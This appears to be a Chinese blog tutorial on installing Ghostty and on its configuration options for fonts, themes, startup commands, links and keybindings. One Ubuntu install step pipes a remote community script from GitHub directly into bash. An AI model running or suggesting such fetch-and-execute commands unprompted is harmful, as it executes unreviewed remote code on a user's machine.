Ghostty的安装和使用
Ghostty Learning and Settings
使用终端多任务的时候乱码横生,切换卡顿,看到人家的终端布局合理切换丝滑,怎么不生羡慕?
显示 Ghostty 所有配置项 + 默认值
ghostty +show-config --default查看当前生效的配置包含你的修改
ghostty +show-config查看默认快捷键(keybings)
ghostty +list-keybinds --default搜索筛选某个配置:
ghostty +show-config --default | grep font
1. 背景
不管是用
Claude Code还是opencode,命令行CLI逐渐回归到主流,终端是CLI的工具,好用的终端让CLI效率加倍
Ghostty 是一款终端模拟器,其独特之处在于速度快、功能丰富且界面原生。虽然市面上有很多优秀的终端模拟器,但它们通常都需要你在速度、功能和原生用户界面之间做出选择。而 Ghostty 则能同时满足这三者。
Ghostty 还计划通过提供现代化的可选功能,突破终端模拟器的功能限制,使 CLI 工具开发人员能够构建功能更丰富、更具交互性的应用程序。
Mitchell Hashimoto在开发Terraform、Consul等工具时,发现现有终端工具性能瓶颈严重。2024年底,他用Zig语言从零开始编写Ghostty,2025年正式开源,2026年已成为开发者圈最火的终端工具。
1.1 愿景
作为一款软件,它也有自己的愿景和设计哲学理念,这一款产品成熟的必备特性。
Ghostty 的设计目标是使其外观、感觉和行为都与您期望的应用程序在桌面环境中的行为一致。
Ghostty 是一款适用于 macOS 和 Linux 的原生应用程序。在 macOS 上,其图形用户界面 (GUI) 使用 Swift 编写,并采用 AppKit 和 SwiftUI;在 Linux 上,其 GUI 使用 Zig 编写,并采用 GTK4 C API。GUI 与一个用 Zig 编写的共享核心进行交互,我们称之为“libghostty”。对于不熟悉 Zig 的人来说,它是一种系统编程语言,可以编译成本地机器代码。
符合每一个系统的原生平台意味着macOS和Linux有些许不同的地方,Ghostty 集成了其运行平台特有的系统功能。例如,在 macOS 上,Ghostty 支持快速查看 (Quick Look)、Force Touch、macOS 安全输入 API、重启后内置窗口状态恢复等。这些都是 macOS 提供的原生 API,在 Linux 桌面环境中没有对应的功能。
1.2 特点
- Ghostty 致力于提供一系列丰富的日常实用功能。这些功能可分为两类:终端功能和应用程序功能。
终端功能:Ghostty 支持 Kitty 图形协议、浅色/深色模式通知、超链接等功能。这使得 Neovim、Zellij 等终端应用程序能够实现比其他终端模拟器更多的功能。
应用功能:这些是一些更高级的功能,可用于与终端模拟器本身进行交互。例如,Ghostty 支持原生标签页、分屏、macOS 上的下拉终端、系统深色/浅色模式下的主题切换等等。
快:Ghostty具象化了快:启动时间、滚动速度、IO吞吐量、控制序列吞吐量、帧速率等
Ghostty 不仅仅是一个普通的软件应用程序,它的核心功能被封装成了一个独立的、通用的“库”(library),这使得它非常灵活且易于在其他程序中集成。Ghostty 的核心是一个名为 libghostty 的库,它是跨平台的,并且兼容 C 语言的应用二进制接口(C-ABI)
Ghostty 的桌面应用程序(macOS 版和 Linux 版)只是 libghostty 这个核心库的“使用者”(消费者)。 它们本身不包含终端的核心逻辑,而是通过调用 libghostty 提供的 C 语言接口来实现终端功能,同时各自使用最适合其操作系统的原生技术来构建用户界面。
┌──────────────────────┐
│ GUI 层 │
│ │
│ macOS: SwiftUI │
│ Linux: GTK4 + Zig │
└─────────┬────────────┘
│ C API
┌─────────▼────────────┐
│ libghostty │
│ (终端核心引擎) │
│ │
│ - 终端模拟 │
│ - 字体处理 │
│ - 渲染 │
└──────────────────────┘
2. 安装
macOS上是原配,Ghostty 项目官方仅发布 macOS 的预编译二进制文件。对于其他平台(例如 Linux),依靠发行版维护者和社区成员的共同努力,来构建、测试和分发 Ghostty
2.1 macOS
Ghostty 项目提供官方 macOS 二进制文件,这些文件可在以下网址获取官方地址
这些二进制文件由 Ghostty 项目签名并经过公证。要安装,请下载 .dmg 文件,打开它,然后将 Ghostty 应用程序拖到“应用程序”文件夹。这与安装许多常见的 macOS 应用程序的过程相同。
- Homebrew
Ghostty 社区提供了一个自制的 cask 文件,并对其进行了维护。它只是重新打包了官方的 .dmg 文件,应该能提供与官方二进制文件相同的安全级别
brew install --cask ghostty- Nix包管理系统
在 Nix 生态系统中,macOS 和 Linux 上的 Ghostty 安装包名字不同,且来源不同:
- macOS 用户应该使用 ghostty-bin(这是官方二进制文件的重新打包)
- Linux 用户通常使用 ghostty(这是从源码构建的 GTK 版本)
Nix 是一个跨平台(支持 Linux、macOS,甚至 Windows)的纯函数式包管理器和构建系统
2.2 Linux
Ghostty 已在许多 Linux 发行版的默认软件仓库中提供。这些软件包均由发行版自行构建、测试和验证,与 Ghostty 项目无关。
# Alpine Linux
apk add ghostty
# Arch Linux
pacman -S ghostty
# Gentoo
emerge -av ghostty
# Solus
eopkg install ghostty
# Void Linux
xbps-install ghosttyNix
在 Linux 上,Ghostty 可以通过两种主要方式使用 Nix 安装:要么使用 Nixpkgs 中的 ghostty 软件包(由 Nixpkgs 维护团队维护),要么使用 Ghostty 源代码库中提供的 Flake(由 Ghostty 项目直接维护)。Nixpkgs 上的软件包是大多数普通用户最简单的选择,而 Flake 允许更高级的用户安装开发分支的固定版本(“尖端版本”),以便访问更多前沿功能
- Nix 引擎
- Nixpkgs:原料+配方库
- NixOS:用这套体系构建出来的操作系统
Nixpkgs 上的 ghostty 软件包不应与 ghostty-bin 混淆,ghostty-bin 是为 macOS 使用的官方 .dmg 的重新打包版本
总结就是不要用macOS的包管理器去在Linux安装,反之亦然
Linux (Community Binaries)
由于 Zig 版本依赖问题,Ghostty 很难进入 Debian/Ubuntu 的官方稳定源,基本上靠社区来维护
# Fedora
dnf copr enable scottames/ghostty
dnf install ghostty
#Ubuntu
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/mkasberg/ghostty-ubuntu/HEAD/install.sh)"对于大多数用户来说,不建议从源代码编译 Ghostty。如果您可以使用预编译的二进制文件或软件包,则应使用它们。
3. 设置
Ghostty 支持数百种配置选项,可使其外观和行为完全符合您的预期
3.1 开箱即用的哲学
Ghostty 的设计理念是让大多数用户无需任何配置即可开箱即用,你不设置打开就是最基础的终端软件,小巧快速,Ghostty 拥有合理的默认设置,内置默认字体(JetBrains Mono),还内置了一些极客字体等等

3.2 配置格式
Ghostty 使用基于文本的配置文件进行配置,所有的配置都是一个配置文件
- 配置文件位置
配置文件名为 config.ghostty,不同的系统在不同的位置,macOS可以在设置中直接找到Setting
macOS文件的位置还比较特殊
$HOME/Library/Application\ Support/com.mitchellh.ghostty/config.ghostty$HOME/Library/Application\ Support/com.mitchellh.ghostty/config
- 配置语法
Ghostty 使用了一种自定义的、但非常简单的键值对语法key = value。下面的示例配置文件中使用注释对该语法进行了说明
# The syntax is "key = value". The whitespace around the
# equals doesn't matter.
background = 282c34
foreground = ffffff
# Comments start with a `#` and are only valid on their own line.
# Blank lines are ignored!
keybind = ctrl+z=close_surface
keybind = ctrl+d=new_split:right
# Empty values reset the configuration to the default value
font-family =- 按键区分大小写。
background和Background并不相同,Ghostty 始终使用小写字母 key=value空格不影响#用来注释- 空值会将配置重置为默认值
font-family = - 值可以加引号,也可以不加引号。
font-family = "JetBrains Mono"与font-family = JetBrains Mono相同
- 配置拆分多个文件
可以通过在配置文件中设置 config-file 键,将你的 Ghostty 配置拆分到多个文件中
这是一种模块化的管理方式,类似于编程中的 import 或 include
- 在你的主配置文件(通常是
~/.config/ghostty/config)中,添加一行config-file = <路径> - Ghostty 读到这一行时,会暂停读取当前文件,转而去读取并加载指定的那个文件
- 加载完成后,继续读取主文件的下一行
你可以写多行的config-file,引入多个不同的配置文件
- 一个文件放快捷键
- 一个专门放颜色
- 一个专门放特定终端的设置
防止死循环
如果值以问号 (?) 开头,则该文件为可选文件;如果该文件不存在,则会被忽略。这对于平台或机器特定的配置文件尤其有用
config-file = some/relative/sub/config
config-file = ?optional/config
config-file = /absolute/path/config- 重新加载设置
运行时可通过按 Ctrl+Shift+,(Linux)或 Cmd+Shift+,(macOS)重新加载配置。这些是默认快捷键,但您也可以通过 reload_config 操作定义自己的快捷键
4. 参考设置
这是 Ghostty 所有配置选项的参考指南。这些选项大致按使用频率排序,并按相关选项分组。
后续Ghostty官方将出来一些比较方便查看设置的功能
4.1 Language
将 Ghostty 的图形用户界面语言设置为系统默认语言以外的语言,语言设置只是影响图形用户界面,不影响终端本身
language = de4.2 字体设置
你也可以使用ghostty +list-fonts在终端,来查看Ghostty自带的字体
多次重复书写字体配置项(或者在一个配置项中列出多个字体),来定义一个优先级列表,只有当主字体中找不到某个特定的字符(codepoint)时,终端才会去下一个备用字体里找。
字体的参数
font-feature允许你精细控制字体的渲染行为,例如开启或关闭编程连字、改变数字样式等font-variation可变字体,可变字体(文件名通常带有 -VF.ttf 或 -VF.otf)将所有的字重、斜度、宽度等变化整合在一个文件中font-codepoint-map:用于解决终端中特殊符号显示乱码、图标缺失或特定字符渲染效果不佳的问题.它允许你强制指定某个(或某段)Unicode 字符使用特定的字体来渲染,而不是使用主字体或系统的默认回退字体。clipboard-codepoint-map:控制的是数据内容:当你选中终端里的文字并按下复制快捷键时,Ghostty 会在将内容放入剪贴板之前,先对内容进行“清洗”或“转换”。font-thicken仅限 macOS。在 Linux 或 Windows 上设置此项无效,算法强制加粗字体的笔画,而不需要切换到一个真正的“Bold”字体文件font-shaping-break:的作用就是告诉 Ghostty:“在这里强行切断 Run”。一旦 Run 被切断,前后的字符就会分别进行 shaping。这意味着它们之间不会产生连字或上下文关联alpha-blending: Ghostty(以及大多数现代终端模拟器)中,指的是将终端窗口的背景与桌面背景(或其他下层窗口)进行透明度混合渲染的技术(三种模式:native;linear;linear-corrected)
| 功能 | 作用 |
|---|---|
| ligature | => 变成漂亮箭头 |
| calt | 编程连字 |
| dlig | 设计连字 |
| zero | 0 是否带斜杠 |
| ss01 | 风格替换 |
在 macOS 上,Ghostty 默认始终使用 Apple Color Emoji,而在 Linux 上则始终使用 Noto Emoji。您可以通过在此处指定包含表情符号字形的字体系列来覆盖此默认行为
Ghostty 在处理字体样式(粗体、斜体、粗斜体)时的智能回退机制。它的核心目的是:优先保证“样式”正确,而不是为了找样式而随便换一个“字体家族”,从而导致排版错乱。你不需要专门为粗体(bold)、斜体(italic)或粗斜体(bold italic)单独配置字体文件
- 如果你只设置了 font-family = “MyFont”,Ghostty 会自动去 “MyFont” 这个字体家族里寻找对应的粗体或斜体变体。
- 在的很多字体文件(尤其是 Variable Fonts 可变字体)在一个文件中就包含了所有样式,或者操作系统能自动关联同一家族下的不同文件
Ghostty 字体处理的最后一个环节:合成样式(Synthesized Styles)
| 配置项 (Key) | 类型 | 默认行为 | 功能描述 | 常用示例值 |
|---|---|---|---|---|
| 基础设置 | ||||
font-family |
String | 系统默认等宽字体 | 主字体家族。可设置多个,用逗号分隔作为备用链。 | "JetBrains Mono", "Noto Sans CJK" |
font-size |
Integer | 依系统而定 | 字体大小(点数)。 | 14, 16 |
font-feature |
String | 无 | 启用特定的 OpenType 字体特性(如连字)。可重复设置。 | calt, liga, ss01 |
| 样式字体指定 (可选,通常无需设置) |
||||
font-family-bold |
String | 自动从主家族查找 | 显式指定粗体使用的字体家族。 | "Fira Code Bold" |
font-family-italic |
String | 自动从主家族查找 | 显式指定斜体使用的字体家族。 | "Fira Code Italic" |
font-family-bold-italic |
String | 自动从主家族查找 | 显式指定粗斜体使用的字体家族。 | "Fira Code Bold Italic" |
| 样式映射与控制 (高级控制) |
||||
font-style-bold |
String / Boolean | 自动匹配 (如 “Bold”) | 1. 字符串: 指定字体内部样式名 (如 “Heavy”)。 2. false: 禁用粗体,回退到常规体。 |
"Heavy", false |
font-style-italic |
String / Boolean | 自动匹配 (如 “Italic”) | 1. 字符串: 指定字体内部样式名 (如 “Oblique”)。 2. false: 禁用斜体,回退到常规体。 |
"Oblique", false |
font-style-bold-italic |
String / Boolean | 自动匹配 | 同上,针对粗斜体。 | "Heavy Oblique", false |
| 合成控制 (Synthesis) |
||||
font-synthetic-style |
String / Boolean | Enabled (自动合成) | 控制是否允许算法合成缺失的样式。 - true: 允许所有合成。- false: 禁用所有合成。- 逗号分隔: 禁用特定合成 (如 no-bold,no-italic)。 |
false, no-italic |
| 性能与微调 | ||||
adjust-icon-height |
Percentage | 0% | 调整图标(如 Nerd Fonts)的高度比例,优化对齐。 | -10%, 5% |
4.3 Adjust 调整功能
各种微调功能,但是实际用的不多,只有解决部分显示问题的时候才可能用到
adjust-cell-width和adjust-cell-height是 Ghostty 中用于微调终端单元格(Cell)尺寸的高级配置项。它们允许你在不改变字体大小(font-size)的前提下,强制增加或减少每个字符所占用的宽度和高度空间。adjust-font-baseline,adjust-underline-position,adjust-underline-thickness是 Ghostty 中用于精细排版微调的高级选项,它们允许你手动修正字体渲染引擎计算出的基准线位置、下划线位置以及下划线粗细adjust-cursor调整光标adjust-box-thickness,adjust-icon-height专门用于优化终端中的图形元素渲染,分别是针对传统的制表符(Box Drawing)和现代的Nerd Font图标。
| 配置项 (Key) | 类型 | 默认值 | 功能描述 | 常用示例 |
|---|---|---|---|---|
| 字体与单元格微调 | ||||
adjust-font-baseline |
Percentage / Pixels | 0 |
调整字体基线位置。向上或向下移动字体,解决字体“悬浮”或“下沉”的问题。 | 2%, -1px |
adjust-cell-width |
Percentage / Pixels | 0 |
调整单元格宽度。微调每个字符格的宽度,解决字符间距过紧或过宽的问题。 | 1px, -2% |
adjust-cell-height |
Percentage / Pixels | 0 |
调整单元格高度。微调行高,解决多行文本行间距过大或过小的问题。 | 5%, 2px |
| 图标微调 (Nerd Fonts) | ||||
adjust-icon-height |
Percentage | 0 |
调整图标高度比例。专门用于缩放 Nerd Fonts 中的图标,使其与文字高度更协调。 | -10%, 5% |
adjust-icon-baseline |
Percentage / Pixels | 0 |
调整图标基线。专门移动图标的垂直位置,解决图标与文字不对齐的问题。 | 3%, -2px |
| 光标微调 | ||||
adjust-cursor-thickness |
Pixels / Percentage | 自动 | 调整光标粗细。覆盖默认的光标厚度。 | 2px, 10% |
adjust-cursor-height |
Percentage | 100% |
调整光标高度。主要用于下划线(underline)或条形(bar)光标,控制其高度占比。 | 80%, 50% |
| 其他合成调整 | ||||
font-thicken-strength |
Float | 0.5 |
调整人工加粗强度。当字体无粗体且开启合成时,控制加粗的像素力度。 | 0.3, 0.8 |
4.4 主题设置
- 主题选择
要使用的主题。这可以是内置主题名称、自定义主题名称,也可以是自定义主题文件的绝对路径。Ghostty 还支持为浅色模式和深色模式指定不同的主题。
第一个目录是 Ghostty 配置目录下的 themes 子目录。它是 $XDG_CONFIG_HOME/ghostty/themes 或 ~/.config/ghostty/themes
使用命令来看所有的主题ghostty +list-themes

主题文件本质上就是另一个 Ghostty 配置文件。它们语法相同,配置选项也相同。主题可以设置任何有效的配置选项,因此请勿使用来自不可信来源的主题文件。内置主题经过审核,仅设置安全的配置选项。
就是在Settings文件中,加入theme = Aizen Light,然后重新载入就可以成功应用了
通过背景色、前景色、调色板等指定的任何其他颜色都将覆盖主题中指定的颜色
要为浅色模式和深色模式指定不同的主题,请使用以下语法:light:主题名称,dark:主题名称。例如:light:Rose Pine Dawn,dark:Rose Pine
foreground前景色/文本色background背景色,终端窗口的背景填充颜色background-image-repeat:是 Ghostty 中控制背景图片平铺行为的配置项selection-background: 是 Ghostty 中用于自定义选中文本背景色的配置项selection-clear-on-typing:控制行为:当你开始打字时,是否自动取消当前已选中的文本高亮selection-clear-on-copy: 控制行为: 执行复制操作后,是否自动取消选区高亮。selection-word-chars:控制行为: 定义哪些字符被视为“单词分隔符”。这直接影响双击选词的行为,就是双击的情况下自己控制到底那些被排除,哪些被选中
| 配置项 (Key) | 类型 | 默认值 | 功能描述 | 常用示例值 |
|---|---|---|---|---|
| 透明度与模糊 | ||||
background-image-opacity |
Float (0.0 - 1.0) | 1.0 (不透明) |
控制背景颜色的透明度。0.0 为完全透明,1.0 为完全不透明。 |
0.85, 0.92 |
background-blur |
Integer (pixels) | 0 |
控制背景的高斯模糊半径(像素)。 注意:此功能主要在 macOS 上有效(利用系统原生毛玻璃),Linux/Windows 支持情况视具体实现而定。 |
10, 20, 30 |
| 背景图片 | ||||
background-image |
String (Path) | 无 | 设置终端背景图片的路径。支持绝对路径或相对路径。 | "/Users/me/Pics/bg.png", "~/wallpapers/dark.jpg" |
background-image-fit |
String | cover |
控制背景图片的缩放方式。 - cover: 填满窗口(可能裁剪)- contain: 完整显示(可能有留白)- stretch: 拉伸填满(可能变形)- tile: 平铺重复 |
cover, contain, tile |
background-image-position |
String | center |
控制背景图片的对齐位置。 格式: x y (如 center, top left, 50% 50%) |
center, top right |
| 动态与条件背景 | ||||
theme |
String | 默认主题 | 加载预设的颜色主题(包含背景色)。Ghostty 内置了 Catppuccin, Dracula 等流行主题。 | catppuccin-mocha, dracula |
background-color |
Color Hex | 由 theme 决定 | 强制覆盖主题的背景颜色。通常不需要设置,除非你想自定义纯色背景。 | #1e1e2e, #282a36 |
- 配色
palette 是 Ghostty(以及大多数现代终端模拟器)中最核心、最强大的配色配置项。它允许你直接定义终端的 256 色颜色表。
虽然终端应用程序通常只请求“红色”、“绿色”或“蓝色”,但它们实际上是通过索引号(0-255)来请求颜色的。palette 配置项就是用来告诉终端:“当程序请求索引号为 N 的颜色时,请显示这个具体的 RGB 颜色”。
基础 16 色 (索引 0 - 15)
这是所有终端主题的基础。绝大多数命令行工具 (ls, git, vim, grep) 只使用这 16 种颜色。 - 0-7: 标准深色系 (黑, 红, 绿, 黄, 蓝, 紫, 青, 白) - 8-15: 明亮/加粗色系 (亮黑/灰, 亮红, 亮绿… 亮白)
| 索引 | 标准名称 | 典型用途 |
|---|---|---|
| 0 | black |
背景、深色文本 |
| 1 | red |
错误、删除、警告 |
| 2 | green |
成功、添加、执行权限 |
| 3 | yellow |
警告、修改、用户名 |
| 4 | blue |
目录、链接、参数 |
| 5 | magenta (purple) |
关键字、特殊符号 |
| 6 | cyan |
变量、流、提示信息 |
| 7 | white (light gray) |
普通文本 |
| 8-15 | bright_* |
高亮强调、加粗文本 |
- 光标选择
| 配置项 (Key) | 类型 | 默认值 | 功能描述 | 常用示例值 |
|---|---|---|---|---|
| 形状与样式 | ||||
cursor-style |
String | block |
设置光标的形状。 - block: 实心块 (默认)- block_hollow: 空心块 (框)- underline: 下划线- bar: 竖条 (I-beam) |
block, underline, bar, block_hollow |
cursor-style-blink |
Boolean | true |
是否启用光标闪烁。true: 闪烁false: 常亮 |
true, false |
| 颜色控制 | ||||
cursor-color |
Color Hex | 由主题决定 | 强制指定光标的背景颜色(针对实心块或竖条)。会覆盖主题设置。 | #FF5555, #ffffff |
cursor-text |
Color Hex | 自动对比色 | 当光标覆盖文字时,强制指定文字的颜色。 常用于解决深色光标遮挡深色文字导致看不清的问题。 |
#000000, #ffffff |
| 尺寸微调 (Adjust) | ||||
adjust-cursor-thickness |
Pixels / % | 自动 | 调整光标的粗细(主要针对 bar 和 underline 样式,也可微调 block 的边框)。 |
2px, 3px, 10% |
adjust-cursor-height |
Percentage | 100% |
调整光标的高度占比。 对于 underline,控制下划线离基线的距离/厚度视觉效果;对于 bar,控制竖条的高度。 |
80%, 90% |
| 行为控制 | ||||
cursor-vi-mode |
String | block |
专门针对 Vi/Vim 模式的光标样式。当进入 Vim 正常模式时自动切换形状。 | block, underline, bar |
mouse-scroll-multiplier:控制行为: 调整鼠标滚轮滚动的速度/距离。
4.5 命令
command 配置项决定了当你打开一个新的终端窗口、标签页或分割面板时,Ghostty 默认启动什么程序(通常是 Shell,如 bash 或 zsh)
下面是切换端口时默认自带的配置
SHELL是环境变量passwd是用户信息
- 核心
- 默认行为:如果不填,Ghostty 会自动读取系统的
$SHELL环境变量
# 基础用法:指定 zsh 为默认 Shell
command = zsh
# 带参数:启动登录 shell (-l)
# 注意:带参数时会自动启用 shell 模式
command = zsh -l
# 高性能模式:直接运行 nvim,不经过 shell 解析
# 缺点:不能用 ~ 代表主目录,必须写全路径
command = direct:nvim
# 强制模式:即使看起来像直接运行,也强制用 shell 包装
command = shell:/usr/local/bin/my-custom-shell- initial-command
仅在 Ghostty 应用程序刚启动时创建的第一个窗口中运行该命令。之后新建的窗口依然使用上面的command
# 启动时自动进入 tmux,如果没运行则新建会话
initial-command = tmux attach || tmux
# 启动时自动运行 htop (仅第一个窗口)
initial-command = htop- notify-on-command-finish (命令完成通知)
当一个长时间运行的命令结束时,是否发送通知
- never (默认):不通知
- unfocused:只有当你没在看这个窗口时才通知(推荐)
- always:无论是否在看,都通知
- notify-on-command-finish-action (通知方式)
如果开启了通知,具体怎么提醒?
bell:播放终端铃声notify: 发送系统桌面弹窗通知(默认关闭)
- notify-on-command-finish-after (通知延迟)
命令运行时间必须超过这个设定值,结束时才会发通知。防止 ls 这种瞬间完成的命令也骚扰你,数字 + 单位 (s, m, h, d 等)
- Input启动自动输入
终端启动后,自动向里面“敲入”一段文字或文件内容。就是启动窗口之后自动输入文字在窗口命令端
- raw:文本:直接发送文本(支持 换行)
- path:文件路径:发送文件内容
# 启动后自动输入 "cd projects" 并回车
input = raw:cd projects\n
# 启动后自动运行一个脚本文件的内容
input = path:/home/user/.ghostty_startup_script.sh
# 组合使用:先 cd,再 ls
input = raw:cd /var/log\n
input = raw:ls -lt\n这样可操作性就会大很多,效率加倍提升
7. scrollback-limit (滚动历史缓冲区大小)
限制终端向上滚动查看的历史记录占用多少内存(字节).设得太大可能占用较多内存;设得太小会导致早期历史记录丢失。目前不支持“无限”。
# 限制为 100 MB (100 * 1024 * 1024)
scrollback-limit = 104857600
# 限制为 500 MB
scrollback-limit = 5242880008. scrollbar (滚动条显示策略)
控制侧边滚动条何时显示,system (默认):跟随系统设置(如 macOS 默认是鼠标悬停才显示;never:永远隐藏滚动条 UI(但仍可用鼠标滚轮滚动)
- 设置环境变量
给终端里的命令额外传递环境变量。可以设置编辑器默认的,比如vim,nvim,emacs等,各种API key等
4.6 Link设置,打开终端设置相关
- link-url (启用/禁用 URL 自动识别)
控制是否自动识别并高亮显示 URL,Ghostty 默认开启此功能。当你按住 CtrlCtrl(Linux) 或 CommandCommand(macOS) 并鼠标悬停在 URL 上时,URL 会变成可点击状态,点击后使用系统默认浏览器打开。
# 彻底禁用 URL 自动识别和点击打开功能
link-url = false
# 显式启用(默认值,通常不需要写)
link-url = true- link-previews (链接预览)
当鼠标悬停在链接上时,是否显示一个小浮窗预览链接的目标地址或内容
| 值 | 含义 | 适用场景 |
|---|---|---|
true |
总是显示。只要鼠标悬停在任何被识别的 URL 上,都会显示预览浮窗。 | 适合需要频繁确认链接真实地址的用户,或者链接文本本身不包含完整 URL 的情况。 |
false |
从不显示。禁用所有链接预览浮窗。 | 适合喜欢极简界面,或者觉得浮窗遮挡视线、造成干扰的用户。这是许多人的首选以保持界面干净。 |
"osc8" |
仅对 OSC 8 链接显示。只有当链接是通过终端的 OSC 8 转义序列 创建时才显示预览。 | 推荐用于现代工作流。很多现代命令行工具(如 ls --hyperlink, git diff, bat, lazygit 等)支持 OSC 8。它们可以显示简短的文本(如 README.md),但底层链接是完整路径。设置为 "osc8" 可以在你需要时看到完整路径,而在普通文本 URL 上保持安静。 |
OSC 8 是一种终端标准协议,允许程序在文本中嵌入“隐形”的链接 - 普通链接:你看到的是 https://github.com,链接也是 https://github.com - OSC 8 链接:你看到的是 官网,但鼠标悬停或点击时,它指向 https://github.com
- 最大化,全屏,文件夹设置
maximize:是否以最大化状态启动窗口。此设置适用于新建窗口,不适用于标签页、分屏等。但是,此设置将应用于所有新建窗口,而不仅仅是第一个窗口fullscreen:以全屏模式启动新窗口。此设置仅适用于新窗口,不适用于标签页、分屏等。但是,此设置将应用于所有新窗口,而不仅仅是第一个窗口title:允许你强制固定终端窗口的标题,忽略程序(如 Neovim、Vim、htop 等)试图动态修改标题的行为,一旦设置,窗口标题将始终显示为你设定的值或者设置为空title = " "
Ghostty 配置项 working-directory 的作用。它决定了当你打开一个新的 Ghostty 窗口时,终端默认会进入哪个文件夹
- 设置初始路径:指定新窗口启动后的当前工作目录
- 最高优先级:window-inherit-working-directory。如果这个选项开启(默认通常开启),且新窗口是从现有的 Ghostty 窗口/标签页派生出来的(例如在同一个进程中打开新标签),它会直接继承父窗口的目录,忽略 working-directory 设置
- 次级优先级:working-directory。只有当没有父窗口可继承时(例如启动第一个窗口,或通过外部命令强制新建进程),这个设置才会生效
# 从主目录启动,无论你怎么启动Ghostty 新窗口都在`~`
working-directory = "home"
# 固定到特定项目目录
working-directory = "~/code/my-awesome-project"
# 恢复默认智能行为
working-directory = "inherit"4.7 keybind按键绑定
Ghostty中有两个最核心的键盘配置项,keybind和key-remap按键重映射
按键绑定是用来定义按下什么键执行什么操作的核心配置,格式:触发器=动作,如果有重复的触发器,后面的配置会覆盖前面的
- 触发器(Trigger)写法
触发器由按键和修饰键组成,用+连接,基本格式: ctrl+a, ctrl+shift+b, up (方向键)
修饰键别名
ctrl或controlalt或者opt,optionsuper或cmd,commandshift
- 物理键码匹配
物理键码匹配 (Physical Key Codes) 是一种按键识别机制,它忽略键盘布局(Layout)和语言设置,直接根据键盘上按键的物理位置来触发操作
在 Ghostty(以及现代 Web 标准 W3C)中,这意味着无论你的操作系统设置为英语、法语、德语还是日语,只要你的手指按下了键盘上同一个位置的键,触发的动作就是一样的。
| 特性 | 字符匹配 (Unicode Codepoint) (默认行为) |
物理键码匹配 (Physical Key Codes) (Ghostty 中的 KeyA, F1 等) |
|---|---|---|
| 识别依据 | 按键产生的字符是什么? | 按键的物理位置在哪里? |
| 受键盘布局影响 | 是。换布局,触发键就变了。 | 否。换布局,触发键不变。 |
| 大小写敏感 | 通常不敏感 (a = A)。 |
敏感 (KeyA ≠ KeyB)。 |
| 典型写法 | a, b, ?, é |
KeyA, KeyB, Quote, KeyE |
| 适用场景 | 需要输入特定字符的场景。 | 快捷键、游戏控制、跨语言环境。 |
就像是采用统一的键盘标准,不管你键盘是英文还是中文,只要按键位置一样,触发键就一样
- 特殊键与通配符
insert, up, f5, delete 等,直接使用名称(参考 W3C 标准)
catch_all(捕获所有未定义按键)
- 序列绑定 (Key Sequences / Leader Keys)
允许通过“先按 A,再按 B”来触发操作,类似 Vim 的 Leader Key 或 Tmux 的前缀键
- 语法:用
>连接ctrl+a>n=new_window(先按 Ctrl+A,松开,再按 N -> 新建窗口)- 无限等待,会一直等到按下一个键,没有超时设置
- 动作(Action)写法
当你在 keybind 中定义了“触发器”(如 ctrl+a)后,等号右边的部分就是 “动作”,告诉 Ghostty 按下键后具体要做什么
动作的基本格式
action或action:param- 如果动作不需要参数,直接写名字(如
new_window) - 如果动作需要参数,用冒号分隔(如 `text:hello)
- 如果动作不需要参数,直接写名字(如
- 参数处理: 冒号后面的内容会被原样接收,不会解析双引号或其他特殊符号
- 如果你想发送包含空格的字符串
csi:A B,你需要把整个绑定用双引号包起来:--keybind="up=csi:A B"
- 如果你想发送包含空格的字符串
| 动作名称 | 含义 | 示例与说明 |
|---|---|---|
ignore |
忽略/吞掉按键 | 按下键后什么都不发生,也不会传给终端里的程序。常用于屏蔽某些 unwanted 的快捷键。 |
unbind |
解除绑定 | 删除该按键之前的所有绑定。按键会恢复默认行为(如果是可打印字符,则传给程序)。 (注意:它会同时移除普通绑定和 physical: 前缀的绑定) |
csi:text |
发送 CSI 序列 | 发送 ANSI 控制序列。 例: csi:A 发送“光标上移”指令(等同于方向键上)。 |
esc:text |
发送 Escape 序列 | 发送以 ESC 开头的序列。 例: esc:d 可能用于删除到词尾(取决于具体程序定义)。 |
text:text |
发送字符串 | 直接输入文本。支持 Zig 语言风格的转义字符。 例: text:\x15 发送 Ctrl-U 字符;text:Hello 直接输入 Hello。 |
提示: 其他所有高级动作(如 new_window, copy, paste 等)可以通过运行命令
ghostty +list-actions查看完整列表。
特殊全局指令
keybind = clear :清除所有设定的按键绑定
这不仅清除你自定义的,连 Ghostty 的默认绑定(如 Ctrl+C, Ctrl+V)也会被清除!通常只在配置文件开头使用,以便从头开始完全自定义
高级前缀修饰符 (Prefixes)
可以在触发器前面加前缀(用冒号结尾),来改变绑定的行为范围或逻辑
all: (应用到所有表面):快捷键只对当前聚焦的那个终端窗口/标签页生效, 加上 all:: 快捷键会对所有打开的 Ghostty 终端表面生效 (比如你想按一个键让所有终端同时滚动,或者同时刷新配置)global: (系统级全局快捷键): 加上 global:: 即使 Ghostty 没有聚焦(你在用浏览器或编辑器),按下该组合键也能触发 Ghostty 的动作unconsumed (不消费输入):加上unconsumed:: Ghostty执行动作的同时,也会把按键信号传给终端里的程序 (你想让 Ctrl+A 既触发 Ghostty 的某个功能,又让 Vim 收到 Ctrl+A 进行行首跳转。) 冲突: global: 和 all: 绑定的按键永远会被消费,不能使用 unconsumed:(因为它们不属于特定终端,无法编码发送)performable(条件出发):只有当动作确实能执行时,才触发并消费按键;否则,当作没绑定一样,把按键传给程序。
多重前缀: 可以叠加使用.
global:unconsumed:ctrl+a=reload_config:含义:全局生效 + 不消费按键 + 按下 Ctrl+A 重载配置覆盖规则:触发器本身不区分前缀。ctrl+a 和 global:ctrl+a 被视为同一个触发器。后写的覆盖先写的
# 1. 忽略 F12,防止误触
keybind = F12=ignore
# 2. 解除 Ctrl+Q 的默认退出绑定,让它传给程序(如果程序有用)
keybind = ctrl+q=unbind
# 3. 发送特定的字符串 "sudo "
keybind = ctrl+s=text:sudo\x20
# 4. 【智能复制】有选区时复制,无选区时传给程序 (如中断)
keybind = performable:ctrl+c=copy_to_clipboard
# 5. 【全局快捷键】无论在哪,按 Cmd+Shift+R 重载 Ghostty 配置 (macOS/KDE/GNOME)
keybind = global:super+shift+r=reload_config
# 6. 【全终端广播】按某个键,让所有打开的终端都清屏
keybind = all:ctrl+l=clear_screen- 链式动作 (Chained Actions)
允许你按下一个快捷键,按顺序执行多个动作
1.定义主绑定:首先正常定义一个 keybind; 2. 追加动作:使用 chain= 开头定义后续动作。Ghostty 会自动将这些动作附加到最近定义的那个绑定上
# 第一步:定义主触发器 ctrl+a -> 新建窗口
